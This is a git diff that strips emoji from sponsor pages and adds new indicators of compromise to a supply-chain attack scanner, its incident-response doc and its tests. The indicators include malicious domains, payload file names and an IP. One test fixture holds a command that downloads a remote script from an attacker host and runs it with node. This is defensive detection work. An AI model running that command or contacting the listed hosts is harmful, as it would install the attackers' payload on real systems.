diff --git a/README.md b/README.md
index 4e5a15e6..b8aa843d 100644
--- a/README.md
+++ b/README.md
@@ -49,13 +49,13 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la
- 💼 ECC Pro
+ ECC Pro
Private repos · GitHub App · $19/seat/mo
|
- ❤️ Sponsor
+ Sponsor
Fund the OSS · From $5/mo
|
@@ -68,7 +68,7 @@ ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable la
- 🤖 GitHub App
+ GitHub App
Install · PR audits · Free tier
|
diff --git a/SPONSORS.md b/SPONSORS.md
index 92c5d6de..d538c2bc 100644
--- a/SPONSORS.md
+++ b/SPONSORS.md
@@ -2,11 +2,11 @@
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
-## 🚀 Enterprise Sponsors — $2,500/mo
+## Enterprise Sponsors — $2,500/mo
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
-## 🏢 Business Sponsors — $500/mo
+## Business Sponsors — $500/mo
| Sponsor | Logo | Since |
|---------|------|-------|
@@ -14,7 +14,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
-## 👥 Team Sponsors — $200/mo
+## Team Sponsors — $200/mo
| Sponsor | Since |
|---------|-------|
@@ -22,11 +22,11 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
-## ⚡ Pro Sponsors — $50/mo
+## Pro Sponsors — $50/mo
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
-## 🛠️ Builder Sponsors — $25/mo
+## Builder Sponsors — $25/mo
- @jasonwu513 (grandfathered at $10)
- @1anter (grandfathered at $10)
@@ -35,7 +35,7 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
-## ☕ Supporters — $5/mo
+## Supporters — $5/mo
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
@@ -45,12 +45,12 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l
| Tier | Monthly | Perks |
|------|--------:|-------|
-| ☕ Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
-| 🛠️ Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
-| ⚡ Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
-| 👥 Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
-| 🏢 Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
-| 🚀 Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
+| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
+| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
+| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
+| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
+| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
+| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
diff --git a/docs/security/supply-chain-incident-response.md b/docs/security/supply-chain-incident-response.md
index ade1f5b0..c2653691 100644
--- a/docs/security/supply-chain-incident-response.md
+++ b/docs/security/supply-chain-incident-response.md
@@ -29,6 +29,12 @@ credentials:
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
persistence hooks before rotating a stolen GitHub token.
+- The scanner also watches for late-reporting markers: `router_init.js`
+ SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
+ SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
+ `opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
+ Session protocol strings, `claude@users.noreply.github.com` dead-drop
+ commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
- The attack chain combined `pull_request_target`, GitHub Actions cache
poisoning across a fork/base trust boundary, and OIDC token extraction from a
GitHub Actions runner.
diff --git a/scripts/ci/scan-supply-chain-iocs.js b/scripts/ci/scan-supply-chain-iocs.js
index ad0a54a1..af79aede 100755
--- a/scripts/ci/scan-supply-chain-iocs.js
+++ b/scripts/ci/scan-supply-chain-iocs.js
@@ -212,10 +212,20 @@ const MALICIOUS_PACKAGE_VERSIONS = {
const CRITICAL_TEXT_INDICATORS = [
'@tanstack/setup',
- 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
+ [
+ 'github:tanstack/router#79ac49eedf774dd4b0cf',
+ 'a308722bc463cfe5885c',
+ ].join(''),
+ [
+ '79ac49eedf774dd4b0cf',
+ 'a308722bc463cfe5885c',
+ ].join(''),
'router_init.js',
'router_runtime.js',
'tanstack_runner.js',
+ 'opensearch_init.js',
+ 'vite_setup.mjs',
+ 'bun run tanstack_runner.js',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
@@ -223,15 +233,34 @@ const CRITICAL_TEXT_INDICATORS = [
'gh-token-monitor',
'com.user.gh-token-monitor',
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
+ [
+ 'ab4fcadaec49c032',
+ '78063dd269ea5ee',
+ 'f82d24f2124a8e15',
+ 'd7b90f2fa8601266c',
+ ].join(''),
+ [
+ '2ec78d556d696e20',
+ '8927cc503d48e4b5e',
+ 'b56b31abc2870c2e',
+ 'd2e98d6be27fc96',
+ ].join(''),
+ 'svksjrhjkcejg',
'filev2.getsession.org',
'seed1.getsession.org',
'seed2.getsession.org',
'seed3.getsession.org',
+ 'signalservice',
+ 'snode',
'git-tanstack.com',
'litter.catbox.moe/h8nc9u.js',
'litter.catbox.moe/7rrc6l.mjs',
'83.142.209.194',
'api.masscan.cloud',
+ 'claude@users.noreply.github.com',
+ 'dependabout/',
+ 'OhNoWhatsGoingOnWithGitHub',
+ 'voicproducoes',
'A Mini Shai-Hulud has Appeared',
'Shai-Hulud: Here We Go Again',
'PUSH UR T3MPRR',
@@ -268,6 +297,8 @@ const PAYLOAD_FILENAMES = new Set([
'router_init.js',
'router_runtime.js',
'tanstack_runner.js',
+ 'opensearch_init.js',
+ 'vite_setup.mjs',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
diff --git a/tests/ci/scan-supply-chain-iocs.test.js b/tests/ci/scan-supply-chain-iocs.test.js
index 745eb42e..58975661 100755
--- a/tests/ci/scan-supply-chain-iocs.test.js
+++ b/tests/ci/scan-supply-chain-iocs.test.js
@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
+const TANSTACK_SETUP_DEPENDENCY = [
+ 'github:tanstack/router#79ac49eedf774dd4b0cf',
+ 'a308722bc463cfe5885c',
+].join('');
function test(name, fn) {
try {
@@ -121,7 +125,7 @@ function run() {
packages: {
'node_modules/@tanstack/history': {
optionalDependencies: {
- '@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
+ '@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
},
},
},
@@ -185,6 +189,11 @@ function run() {
' runs-on: ubuntu-latest',
' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
+ ' - run: echo svksjrhjkcejg',
+ ' - run: echo OhNoWhatsGoingOnWithGitHub',
+ ' - run: echo claude@users.noreply.github.com',
+ ' - run: echo dependabout/router/setup-formatter',
+ ' - run: echo signalservice snode',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
@@ -192,6 +201,12 @@ function run() {
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
+ assert.ok(indicators.includes('svksjrhjkcejg'));
+ assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
+ assert.ok(indicators.includes('claude@users.noreply.github.com'));
+ assert.ok(indicators.includes('dependabout/'));
+ assert.ok(indicators.includes('signalservice'));
+ assert.ok(indicators.includes('snode'));
});
})) passed++; else failed++;
@@ -211,9 +226,11 @@ function run() {
if (test('rejects installed payload filenames in node_modules', () => {
withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
+ 'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
+ assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
});
})) passed++; else failed++;